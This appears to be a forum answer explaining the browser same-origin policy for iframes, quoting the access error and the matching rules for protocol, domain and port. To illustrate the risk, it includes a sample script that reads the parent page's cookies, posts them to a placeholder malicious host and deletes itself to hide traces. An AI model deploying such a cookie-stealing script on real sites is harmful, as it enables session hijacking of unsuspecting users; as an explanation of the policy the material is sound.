Code below
<iframe src="http://example.com" onload="test(this)"></iframe> <script> function test(frame) { var cDoc = frame.contentDocument; } </script>
Gives out
Unsafe JavaScript attempt to access frame with URL http://example.iana.org from frame with URL {your URL}. Domains, protocols and ports must match.
Protocols must match (for example: the main window and iframe protocols must be either file: or http: to name a couple).
Domains must match (for example: main window and iframe domains must be example.com )
Ports must match (for example: main window and iframe ports must be 80 or 8080 )
This is to protect users from code executed from malicious sites , which, if these boundaries were not implemented, can easily steal data from an unsuspecting user.
Example malicious JavaScript code:
<script id="loadScript"> window.onload = function() { //grab parent to iframe var parentWindow = window.parent.window; //grab cookies from parent window var cookies = parentWindow.document.cookie; //send cookies off to malicious site var form = document.createElement("form"); var inp = document.createElement("input"); form.action="http://malicious.com/maliciousAd.php"; form.method="post"; inp.value=cookies; inp.name="cookies"; form.appendChild(inp); form.submit(); //remove traces of malicious code document.body.removeChild(document.getElementById("loadScript")) } </script>
Isaac source share